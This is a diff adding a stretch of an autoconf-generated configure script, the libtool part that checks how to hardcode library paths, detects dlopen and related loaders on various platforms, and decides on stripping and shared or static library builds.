+
+
+
+
+
+
+
+
+  echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5
+echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6
+hardcode_action=
+if test -n "$hardcode_libdir_flag_spec" ||
+   test -n "$runpath_var" ||
+   test "X$hardcode_automatic" = "Xyes" ; then
+
+  # We can hardcode non-existent directories.
+  if test "$hardcode_direct" != no &&
+     # If the only mechanism to avoid hardcoding is shlibpath_var, we
+     # have to relink, otherwise we might link with an installed library
+     # when we should be linking with a yet-to-be-installed one
+     ## test "$_LT_TAGVAR(hardcode_shlibpath_var, )" != no &&
+     test "$hardcode_minus_L" != no; then
+    # Linking always hardcodes the temporary library directory.
+    hardcode_action=relink
+  else
+    # We can link without hardcoding, and we can hardcode nonexisting dirs.
+    hardcode_action=immediate
+  fi
+else
+  # We cannot hardcode anything, or else we can only hardcode existing
+  # directories.
+  hardcode_action=unsupported
+fi
+echo "$as_me:$LINENO: result: $hardcode_action" >&5
+echo "${ECHO_T}$hardcode_action" >&6
+
+if test "$hardcode_action" = relink ||
+   test "$inherit_rpath" = yes; then
+  # Fast installation is not supported
+  enable_fast_install=no
+elif test "$shlibpath_overrides_runpath" = yes ||
+     test "$enable_shared" = no; then
+  # Fast installation is not necessary
+  enable_fast_install=needless
+fi
+
+
+
+
+
+
+  if test "x$enable_dlopen" != xyes; then
+  enable_dlopen=unknown
+  enable_dlopen_self=unknown
+  enable_dlopen_self_static=unknown
+else
+  lt_cv_dlopen=no
+  lt_cv_dlopen_libs=
+
+  case $host_os in
+  beos*)
+    lt_cv_dlopen="load_add_on"
+    lt_cv_dlopen_libs=
+    lt_cv_dlopen_self=yes
+    ;;
+
+  mingw* | pw32*)
+    lt_cv_dlopen="LoadLibrary"
+    lt_cv_dlopen_libs=
+    ;;
+
+  cygwin*)
+    lt_cv_dlopen="dlopen"
+    lt_cv_dlopen_libs=
+    ;;
+
+  darwin*)
+  # if libdl is installed we need to link against it
+    echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5
+echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6
+if test "${ac_cv_lib_dl_dlopen+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-ldl  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char dlopen ();
+int
+main ()
+{
+dlopen ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_dl_dlopen=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_dl_dlopen=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5
+echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6
+if test $ac_cv_lib_dl_dlopen = yes; then
+  lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"
+else
+
+    lt_cv_dlopen="dyld"
+    lt_cv_dlopen_libs=
+    lt_cv_dlopen_self=yes
+
+fi
+
+    ;;
+
+  *)
+    echo "$as_me:$LINENO: checking for shl_load" >&5
+echo $ECHO_N "checking for shl_load... $ECHO_C" >&6
+if test "${ac_cv_func_shl_load+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define shl_load to an innocuous variant, in case <limits.h> declares shl_load.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define shl_load innocuous_shl_load
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char shl_load (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef shl_load
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char shl_load ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_shl_load) || defined (__stub___shl_load)
+choke me
+#else
+char (*f) () = shl_load;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != shl_load;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_func_shl_load=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_func_shl_load=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5
+echo "${ECHO_T}$ac_cv_func_shl_load" >&6
+if test $ac_cv_func_shl_load = yes; then
+  lt_cv_dlopen="shl_load"
+else
+  echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5
+echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6
+if test "${ac_cv_lib_dld_shl_load+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-ldld  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char shl_load ();
+int
+main ()
+{
+shl_load ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_dld_shl_load=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_dld_shl_load=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5
+echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6
+if test $ac_cv_lib_dld_shl_load = yes; then
+  lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"
+else
+  echo "$as_me:$LINENO: checking for dlopen" >&5
+echo $ECHO_N "checking for dlopen... $ECHO_C" >&6
+if test "${ac_cv_func_dlopen+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+/* Define dlopen to an innocuous variant, in case <limits.h> declares dlopen.
+   For example, HP-UX 11i <limits.h> declares gettimeofday.  */
+#define dlopen innocuous_dlopen
+
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char dlopen (); below.
+    Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+    <limits.h> exists even on freestanding compilers.  */
+
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef dlopen
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char dlopen ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_dlopen) || defined (__stub___dlopen)
+choke me
+#else
+char (*f) () = dlopen;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != dlopen;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_func_dlopen=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_func_dlopen=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5
+echo "${ECHO_T}$ac_cv_func_dlopen" >&6
+if test $ac_cv_func_dlopen = yes; then
+  lt_cv_dlopen="dlopen"
+else
+  echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5
+echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6
+if test "${ac_cv_lib_dl_dlopen+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-ldl  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char dlopen ();
+int
+main ()
+{
+dlopen ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_dl_dlopen=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_dl_dlopen=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5
+echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6
+if test $ac_cv_lib_dl_dlopen = yes; then
+  lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"
+else
+  echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5
+echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6
+if test "${ac_cv_lib_svld_dlopen+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lsvld  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char dlopen ();
+int
+main ()
+{
+dlopen ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_svld_dlopen=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_svld_dlopen=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5
+echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6
+if test $ac_cv_lib_svld_dlopen = yes; then
+  lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"
+else
+  echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5
+echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6
+if test "${ac_cv_lib_dld_dld_link+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-ldld  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char dld_link ();
+int
+main ()
+{
+dld_link ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_dld_dld_link=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_dld_dld_link=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5
+echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6
+if test $ac_cv_lib_dld_dld_link = yes; then
+  lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"
+fi
+
+
+fi
+
+
+fi
+
+
+fi
+
+
+fi
+
+
+fi
+
+    ;;
+  esac
+
+  if test "x$lt_cv_dlopen" != xno; then
+    enable_dlopen=yes
+  else
+    enable_dlopen=no
+  fi
+
+  case $lt_cv_dlopen in
+  dlopen)
+    save_CPPFLAGS="$CPPFLAGS"
+    test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H"
+
+    save_LDFLAGS="$LDFLAGS"
+    wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\"
+
+    save_LIBS="$LIBS"
+    LIBS="$lt_cv_dlopen_libs $LIBS"
+
+    echo "$as_me:$LINENO: checking whether a program can dlopen itself" >&5
+echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C" >&6
+if test "${lt_cv_dlopen_self+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  	  if test "$cross_compiling" = yes; then :
+  lt_cv_dlopen_self=cross
+else
+  lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+  lt_status=$lt_dlunknown
+  cat > conftest.$ac_ext <<_LT_EOF
+#line 9311 "configure"
+#include "confdefs.h"
+
+#if HAVE_DLFCN_H
+#include <dlfcn.h>
+#endif
+
+#include <stdio.h>
+
+#ifdef RTLD_GLOBAL
+#  define LT_DLGLOBAL		RTLD_GLOBAL
+#else
+#  ifdef DL_GLOBAL
+#    define LT_DLGLOBAL		DL_GLOBAL
+#  else
+#    define LT_DLGLOBAL		0
+#  endif
+#endif
+
+/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
+   find out it does not work in some platform. */
+#ifndef LT_DLLAZY_OR_NOW
+#  ifdef RTLD_LAZY
+#    define LT_DLLAZY_OR_NOW		RTLD_LAZY
+#  else
+#    ifdef DL_LAZY
+#      define LT_DLLAZY_OR_NOW		DL_LAZY
+#    else
+#      ifdef RTLD_NOW
+#        define LT_DLLAZY_OR_NOW	RTLD_NOW
+#      else
+#        ifdef DL_NOW
+#          define LT_DLLAZY_OR_NOW	DL_NOW
+#        else
+#          define LT_DLLAZY_OR_NOW	0
+#        endif
+#      endif
+#    endif
+#  endif
+#endif
+
+#ifdef __cplusplus
+extern "C" void exit (int);
+#endif
+
+void fnord() { int i=42;}
+int main ()
+{
+  void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+  int status = $lt_dlunknown;
+
+  if (self)
+    {
+      if (dlsym (self,"fnord"))       status = $lt_dlno_uscore;
+      else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
+      /* dlclose (self); */
+    }
+  else
+    puts (dlerror ());
+
+    exit (status);
+}
+_LT_EOF
+  if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then
+    (./conftest; exit; ) >&5 2>/dev/null
+    lt_status=$?
+    case x$lt_status in
+      x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;;
+      x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;;
+      x$lt_dlunknown|x*) lt_cv_dlopen_self=no ;;
+    esac
+  else :
+    # compilation failed
+    lt_cv_dlopen_self=no
+  fi
+fi
+rm -fr conftest*
+
+
+fi
+echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5
+echo "${ECHO_T}$lt_cv_dlopen_self" >&6
+
+    if test "x$lt_cv_dlopen_self" = xyes; then
+      wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\"
+      echo "$as_me:$LINENO: checking whether a statically linked program can dlopen itself" >&5
+echo $ECHO_N "checking whether a statically linked program can dlopen itself... $ECHO_C" >&6
+if test "${lt_cv_dlopen_self_static+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  	  if test "$cross_compiling" = yes; then :
+  lt_cv_dlopen_self_static=cross
+else
+  lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+  lt_status=$lt_dlunknown
+  cat > conftest.$ac_ext <<_LT_EOF
+#line 9411 "configure"
+#include "confdefs.h"
+
+#if HAVE_DLFCN_H
+#include <dlfcn.h>
+#endif
+
+#include <stdio.h>
+
+#ifdef RTLD_GLOBAL
+#  define LT_DLGLOBAL		RTLD_GLOBAL
+#else
+#  ifdef DL_GLOBAL
+#    define LT_DLGLOBAL		DL_GLOBAL
+#  else
+#    define LT_DLGLOBAL		0
+#  endif
+#endif
+
+/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
+   find out it does not work in some platform. */
+#ifndef LT_DLLAZY_OR_NOW
+#  ifdef RTLD_LAZY
+#    define LT_DLLAZY_OR_NOW		RTLD_LAZY
+#  else
+#    ifdef DL_LAZY
+#      define LT_DLLAZY_OR_NOW		DL_LAZY
+#    else
+#      ifdef RTLD_NOW
+#        define LT_DLLAZY_OR_NOW	RTLD_NOW
+#      else
+#        ifdef DL_NOW
+#          define LT_DLLAZY_OR_NOW	DL_NOW
+#        else
+#          define LT_DLLAZY_OR_NOW	0
+#        endif
+#      endif
+#    endif
+#  endif
+#endif
+
+#ifdef __cplusplus
+extern "C" void exit (int);
+#endif
+
+void fnord() { int i=42;}
+int main ()
+{
+  void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+  int status = $lt_dlunknown;
+
+  if (self)
+    {
+      if (dlsym (self,"fnord"))       status = $lt_dlno_uscore;
+      else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
+      /* dlclose (self); */
+    }
+  else
+    puts (dlerror ());
+
+    exit (status);
+}
+_LT_EOF
+  if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then
+    (./conftest; exit; ) >&5 2>/dev/null
+    lt_status=$?
+    case x$lt_status in
+      x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;;
+      x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;;
+      x$lt_dlunknown|x*) lt_cv_dlopen_self_static=no ;;
+    esac
+  else :
+    # compilation failed
+    lt_cv_dlopen_self_static=no
+  fi
+fi
+rm -fr conftest*
+
+
+fi
+echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5
+echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6
+    fi
+
+    CPPFLAGS="$save_CPPFLAGS"
+    LDFLAGS="$save_LDFLAGS"
+    LIBS="$save_LIBS"
+    ;;
+  esac
+
+  case $lt_cv_dlopen_self in
+  yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
+  *) enable_dlopen_self=unknown ;;
+  esac
+
+  case $lt_cv_dlopen_self_static in
+  yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
+  *) enable_dlopen_self_static=unknown ;;
+  esac
+fi
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+striplib=
+old_striplib=
+echo "$as_me:$LINENO: checking whether stripping libraries is possible" >&5
+echo $ECHO_N "checking whether stripping libraries is possible... $ECHO_C" >&6
+if test -n "$STRIP" && $STRIP -V 2>&1 | $GREP "GNU strip" >/dev/null; then
+  test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
+  test -z "$striplib" && striplib="$STRIP --strip-unneeded"
+  echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+else
+# FIXME - insert some real tests, host_os isn't really good enough
+  case $host_os in
+  darwin*)
+    if test -n "$STRIP" ; then
+      striplib="$STRIP -x"
+      old_striplib="$STRIP -S"
+      echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+    else
+      echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+    fi
+    ;;
+  *)
+    echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+    ;;
+  esac
+fi
+
+
+
+
+
+
+
+
+
+
+
+
+  # Report which library types will actually be built
+  echo "$as_me:$LINENO: checking if libtool supports shared libraries" >&5
+echo $ECHO_N "checking if libtool supports shared libraries... $ECHO_C" >&6
+  echo "$as_me:$LINENO: result: $can_build_shared" >&5
+echo "${ECHO_T}$can_build_shared" >&6
+
+  echo "$as_me:$LINENO: checking whether to build shared libraries" >&5
+echo $ECHO_N "checking whether to build shared libraries... $ECHO_C" >&6
+  test "$can_build_shared" = "no" && enable_shared=no
+
+  # On AIX, shared libraries and static libraries use the same namespace, and
+  # are all built from PIC.
+  case $host_os in
+  aix3*)
+    test "$enable_shared" = yes && enable_static=no
+    if test -n "$RANLIB"; then
+      archive_cmds="$archive_cmds~\$RANLIB \$lib"
+      postinstall_cmds='$RANLIB $lib'
+    fi
+    ;;
+
+  aix4* | aix5*)
+    if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
+      test "$enable_shared" = yes && enable_static=no
+    fi
+    ;;
+  esac
+  echo "$as_me:$LINENO: result: $enable_shared" >&5
+echo "${ECHO_T}$enable_shared" >&6
+
+  echo "$as_me:$LINENO: checking whether to build static libraries" >&5
+echo $ECHO_N "checking whether to build static libraries... $ECHO_C" >&6
+  # Make sure either enable_shared or enable_static is yes.
+  test "$enable_shared" = yes || enable_static=yes
+  echo "$as_me:$LINENO: result: $enable_static" >&5
+echo "${ECHO_T}$enable_static" >&6
+
+
+
+
+fi
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
